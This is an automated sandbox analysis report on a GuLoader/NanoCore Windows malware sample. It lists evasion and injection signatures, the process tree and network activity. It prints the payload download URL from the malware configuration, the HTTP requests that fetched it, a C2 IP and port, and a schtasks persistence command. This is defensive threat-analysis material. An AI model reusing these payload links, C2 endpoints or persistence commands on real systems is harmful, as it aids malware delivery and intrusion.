Edit tour

Windows Analysis Report
QT_0948765446-NMPMUST-9876563783.exe

Overview

General Information

Sample Name:	QT_0948765446-NMPMUST-9876563783.exe
Analysis ID:	628420
MD5:	155a8b146f63fcecc360cc1162974373
SHA1:	7abaf8a0df564b853227fdb8a614e7f8ba3edd15
SHA256:	361deb3d9ef665902441a554d099bd5e43266cd6320ef84facacdee256d325bd
Infos:

Detection

NanoCore, GuLoader

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Sigma detected: NanoCore

Yara detected GuLoader

Writes to foreign memory regions

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses 32bit PE files

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

PE file contains more sections than normal

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64native

QT_0948765446-NMPMUST-9876563783.exe (PID: 2036 cmdline: "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe" MD5: 155A8B146F63FCECC360CC1162974373)

CasPol.exe (PID: 7184 cmdline: "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

CasPol.exe (PID: 7192 cmdline: "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

CasPol.exe (PID: 7200 cmdline: "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

CasPol.exe (PID: 7208 cmdline: "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

conhost.exe (PID: 7216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

schtasks.exe (PID: 5960 cmdline: schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp1B52.tmp MD5: 478BEAEC1C3A9417272BC8964ADD1CEE)

conhost.exe (PID: 6248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

CasPol.exe (PID: 6060 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe 0 MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

conhost.exe (PID: 1604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://drive.google.com/uc?export=download&id=15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000000.2626503935.0000000000D00000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Signatures

AV Detection

Sigma detected: NanoCore

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe, ProcessId: 7208, TargetFilename: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

E-Banking Fraud

Sigma detected: NanoCore

Source: File created

Stealing of Sensitive Information

Sigma detected: NanoCore

Source: File created

Remote Access Functionality

Sigma detected: NanoCore

Source: File created

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000E.00000000.2626503935.0000000000D00000.00000040.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X"}

Source: QT_0948765446-NMPMUST-9876563783.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.11.20:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.11.20:49762 version: TLS 1.2

Source: QT_0948765446-NMPMUST-9876563783.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: \??\C:\Windows\caspol.pdbO source: CasPol.exe, 0000000E.00000003.4494173257.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3100038167.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4620929748.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405D74
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_0040699E FindFirstFileW,FindClose,	0_2_0040699E
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_0040290B FindFirstFileW,	0_2_0040290B

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\Microsoft.NET\Framework\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System\06e54f5fa1f15dd558eaf403cdcacad3\System.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\5085e86702d2182b0d9417971c65ded2\System.Drawing.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\ae952be8fa59744d6333aed90b72f162\System.Windows.Forms.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\Microsoft.NET\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://drive.google.com/uc?export=download&id=15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/ot0nf77q6jqiqi74hke0fspqmeou4ksp/1652799000000/00504591766740753318/*/15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-08-38-docs.googleusercontent.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.11.20:49763 -> 91.193.75.131:8476

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: CasPol.exe, 0000000E.00000003.4494173257.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.2795272185.0000000001015000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.2789751149.0000000001015000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3100038167.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4620929748.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: CasPol.exe, 0000000E.00000003.4494173257.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.2795272185.0000000001015000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.2789751149.0000000001015000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3100038167.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4620929748.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: QT_0948765446-NMPMUST-9876563783.exe, qindarka.exe.14.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: CasPol.exe, 0000000E.00000003.4620731373.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3099773700.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4493817238.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-08-38-docs.googleusercontent.com/
Source: CasPol.exe, 0000000E.00000003.4494173257.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.2795272185.0000000001015000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.2789751149.0000000001015000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3100038167.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4620929748.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-08-38-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/ot0nf77q
Source: CasPol.exe, 0000000E.00000003.4620731373.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3099773700.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4493817238.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-08-38-docs.googleusercontent.com/g
Source: CasPol.exe, 0000000E.00000003.4255498172.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4089182342.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4432529097.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4146600706.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3099773700.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4181477384.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3100680425.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: CasPol.exe, 0000000E.00000003.4255498172.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4089182342.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4432529097.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4146600706.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4181477384.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3100680425.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X
Source: CasPol.exe, 0000000E.00000003.4255498172.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4089182342.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4432529097.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4146600706.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4181477384.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3100680425.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X(

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/ot0nf77q6jqiqi74hke0fspqmeou4ksp/1652799000000/00504591766740753318/*/15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-08-38-docs.googleusercontent.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.11.20:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.11.20:49762 version: TLS 1.2

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

Code function: 0_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405809

Source: QT_0948765446-NMPMUST-9876563783.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

Code function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403640

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_00406D5F	0_2_00406D5F
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_70F51BFF	0_2_70F51BFF
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032D25D5	0_2_032D25D5
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032D3CF5	0_2_032D3CF5
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C732A	0_2_032C732A
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032D4B25	0_2_032D4B25
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C5730	0_2_032C5730
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C0700	0_2_032C0700
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C575E	0_2_032C575E
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C53BE	0_2_032C53BE
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C5BB6	0_2_032C5BB6
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032CB395	0_2_032CB395
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C73FF	0_2_032C73FF
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C57D1	0_2_032C57D1
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032D4A3E	0_2_032D4A3E
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032D2231	0_2_032D2231
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C5A11	0_2_032C5A11
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C72A0	0_2_032C72A0
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C568B	0_2_032C568B
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C729A	0_2_032C729A
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032D4297	0_2_032D4297
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C5AFE	0_2_032C5AFE
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C5935	0_2_032C5935
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C5D0E	0_2_032C5D0E
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C758D	0_2_032C758D
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032D4DCA	0_2_032D4DCA
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C55C6	0_2_032C55C6
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C59D5	0_2_032C59D5
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C5808	0_2_032C5808
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C587A	0_2_032C587A
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C74B2	0_2_032C74B2
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C54FC	0_2_032C54FC
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 19_2_04D004B0	19_2_04D004B0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 19_2_04D00938	19_2_04D00938

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032D5DCF NtProtectVirtualMemory,	0_2_032D5DCF
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032D6480 NtResumeThread,	0_2_032D6480
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032D3CF5 NtAllocateVirtualMemory,	0_2_032D3CF5

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Process Stats: CPU usage > 98%

Source: library.dll.0.dr

Static PE information: No import functions for PE file found

Source: QT_0948765446-NMPMUST-9876563783.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: QT_0948765446-NMPMUST-9876563783.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: QT_0948765446-NMPMUST-9876563783.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: libpixbufloader-tiff.dll.0.dr

Static PE information: Number of sections : 11 > 10

Source: library.dll.0.dr

Static PE information: Section .rsrc

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

File read: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

Jump to behavior

Source: QT_0948765446-NMPMUST-9876563783.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp1B52.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe 0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp1B52.tmp	Jump to behavior

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

0_2_00403640

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File created: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB

Jump to behavior

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

File created: C:\Users\user\AppData\Local\Temp\nsv8DFF.tmp

Jump to behavior

Source: classification engine

Classification label: mal88.troj.evad.winEXE@15/17@36/3

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

Code function: 0_2_004021AA CoCreateInstance,

0_2_004021AA

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

Code function: 0_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404AB5

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6248:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7216:304:WilStaging_02
